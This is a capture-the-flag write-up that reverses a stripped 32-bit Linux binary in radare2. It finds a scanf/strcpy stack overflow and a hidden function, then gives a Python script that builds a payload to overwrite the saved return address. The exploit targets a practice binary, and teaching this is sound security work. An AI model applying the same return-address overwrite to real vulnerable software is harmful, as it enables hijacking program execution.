February 15 2022
Reverse & Explore
Stage 2 Area 5
We are given a stripped executable along with the hint: "Reverse and explore this binary. What input would cause an overflow?".
The program presents five options, but only one of them accepts user input: [3] Unlock panel. To investigate, we must explore the assembly to see if this input is vulnerable, and what information we can overwrite.
Disassembling a stripped binary
Running file gives us a lot of useful information:
file ./2_5
./2_5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cf1642a58727dd00f2718198e93290ea96a699cd, stripped- 32-bit - 4-byte addresses (
dword), registers likeeax/ebx/esp/ebp. - LSB - Uses little-endian formatting.
- Dynamically linked - External libc calls which we can potentially leverage.
- Stripped - Does not contain any symbols.
- Not PIE - Position dependent, meaning addresses are stable (No ASLR).
With no symbols, we must first find main, and give all functions meaningful names. A stripped ELF still has an entry point, which we can identify in radare2 using ie. From there, we simply find the argument passed to __libc_start_main, that's the address of main.
ie # Find entrypoint
s 0x<address> # Seek to main
af main # Analyse and name
afl # List discoverable functions
pdf # View disassembly
# Rename stripped symbols
afn print_ascii @ fcn.0804862f
afn print_menu @ fcn.080486a1
afn option_1 @ fcn.08048725
afn option_2 @ fcn.08048797
afn option_3 @ fcn.080488b9
afn option_4 @ fcn.080487d3
afn option_5 @ fcn.0804898bExploring the assembly
I started by skimming each function to understand what actually mattered.
main simply switches between the menu options. There's a hidden input 1337 which outputs "That's one small step for a man, one giant leap for mankind.", and the other normal options are just wrappers around puts calls. That leaves two interesting paths: option 3 (the only input) and option 5 (supposed to exit).
Option 3 - Unlock panel
This function reads user input into a stack buffer via scanf, then checks the first 10 bytes against an expected prefix. By converting the hex bytes used in the comparisons to ASCII, we recover the required key: 1Jor2TrEST. If the prefix matches, the program copies the input using strcpy.
This combination is exactly what enables the overflow, scanf("%s", ...) can overflow when no maximum width is specified, and strcpy then copies into a destination buffer without bounds checking.
The question now becomes, where are we meant to redirect execution to?
Option 5 - "Exit"
This function is called when the user selects [5] Quit, but it contains the red herring I noticed earlier when searching for strings in the binary: Unlock_Code=2lsdl2Jwsdj. It then calls sym.imp.exit - but the function doesn’t end there.
After the exit call there’s a large block of extra assembly that starts with what looks like another function prologue, followed by a loop that XORs bytes and prints them.
That strongly suggests there’s a hidden function embedded after the exit call at 0x080489d2, and the intended solution is to use the overflow in option 3 to redirect execution into it.
┌ 181: option_5 ();
│ 0x0804898b 55 push ebp
│ 0x0804898c 89e5 mov ebp, esp
│ 0x0804898e 53 push ebx
│ 0x0804898f 83ec24 sub esp, 0x24
│ 0x08048992 e8a9000000 call fcn.08048a40
│ 0x08048997 0569260000 add eax, 0x2669
│ 0x0804899c c745e0556e6c. mov dword [var_20h], 0x6f6c6e55 ; 'Unlo'
│ 0x080489a3 c745e4636b5f. mov dword [var_1ch], 0x435f6b63 ; 'ck_C'
│ 0x080489aa c745e86f6465. mov dword [var_18h], 0x3d65646f ; 'ode='
│ 0x080489b1 c745ec326c73. mov dword [var_14h], 0x64736c32 ; '2lsd'
│ 0x080489b8 c745f06c324a. mov dword [var_10h], 0x774a326c ; 'l2Jw'
│ 0x080489bf c745f473646a. mov dword [var_ch], 0x6a6473 ; 'sdj'
│ 0x080489c6 83ec0c sub esp, 0xc
│ 0x080489c9 6a01 push 1 ; 1
│ 0x080489cb 89c3 mov ebx, eax
│ 0x080489cd e80efaffff call sym.imp.exit
│ 0x080489d2 55 push ebp
│ 0x080489d3 89e5 mov ebp, esp
│ 0x080489d5 57 push edi
│ 0x080489d6 56 push esi
│ 0x080489d7 53 push ebx
│ 0x080489d8 81ec1c010000 sub esp, 0x11c
...Bypassing sym.imp.exit
Before trying to reach the hidden function via an overflow, I wanted to confirm what the code after sym.imp.exit actually did.
The quickest way is to bypass the sym.imp.exit call (either by stepping over it in a debugger, or by overriding exit() with LD_PRELOAD). When the function continues past 0x080489cd, it prints:
You've ran the hidden function, well done!
The flag needs to be submitted in a certain format.
Hex encode the input you used to get here.
Replace any padding with xPD
So the flag format will look like:
x00x00x00x00x00x00x00x00x00x00xPDxPDxPDxPDx00x00x00x00So the "flag" for this challenge is actually the overflow payload we use to redirect execution into this hidden code.
Stack recap - overflow intuition
On x86, the stack grows downwards (towards smaller addresses). Each function call builds a stack frame containing information the program needs to run and return correctly - saved register values (including the return address) and local variables.
Key registers
eip- The instruction pointer containing the next instruction to execute.esp- the stack pointer, which points to the current "top" of the stack (the lowest stack address in use).ebp- The base pointer, which provides a stable reference point for this function’s stack frame (locals and saved values).
What the function prologue does
A call pushes the return address (the next eip) onto the stack so it knows where to continue execution once the function is complete. Most functions then run a prologue that saves the previous base pointer ebp and sets up a new one:
call option_3 ; push eip (return address)
push ebp ; save caller's base pointer
mov ebp, esp ; start a new stack frame
sub esp, 0x74 ; reserve space for local variablesAfter this, the stack layout becomes:
higher addresses (0xFFFFFFFF)
[ebp+0x4] saved old eip (return address)
[ebp+0x0] saved old ebp
[ebp-...] local variables / buffers
lower addressesNote that 64-bit platforms would use 8-byte addresses (qwords).
Applying to this challenge
The screenshot above shows execution just after entering option_3. The destination buffer used by strcpy is var_12h @ ebp-0x12, and the saved return address (currently returning to main) is stored at ebp+0x4 (0x080485e0).
We can compute the number of bytes required to begin overwriting the return address:
(ebp+0x4) - (ebp-0x12) = 0x16 = 22 bytesThe required unlock key 1Jor2TrEST is 10 bytes, meaning 12 bytes of padding is required before the overwrite.
Crafting the input
With the information gathered, we can now craft the input that will overflow and overwrite the saved eip to redirect execution into the hidden function. Since the payload contains raw bytes, we write the payload to a file before piping it into the program.
Payload layout
3\n- Select option 31Jor2TrEST- 10-byte keyA * 12- Padding to reach saved EIP0x080489d2- Hidden function address (little-endian dword:\xd2\x89\x04\x08)
Payload creation
import struct
opt = b"3\n"
key = b"1Jor2TrEST"
pad = b"A" * 12
ret = struct.pack("<I", 0x080489d2) # little-endian dword
payload = opt + key + pad + ret
with open("payload.bin", "wb") as f:
f.write(payload)
# Flag format: hex encode the overflow input (key+pad+ret), and replace padding bytes with xPD.
flag = "".join(f"x{b:02x}" for b in (key + pad + ret)).replace("x41", "xPD")
print("Flag:", flag)Piping the payload into the program triggers the vulnerable input in [3] Unlock panel. When option_3 returns, the overwritten return address redirects execution into the hidden function at 0x080489d2, producing the same "well done" message - this time via a buffer overflow:
cat payload.bin | ./2_5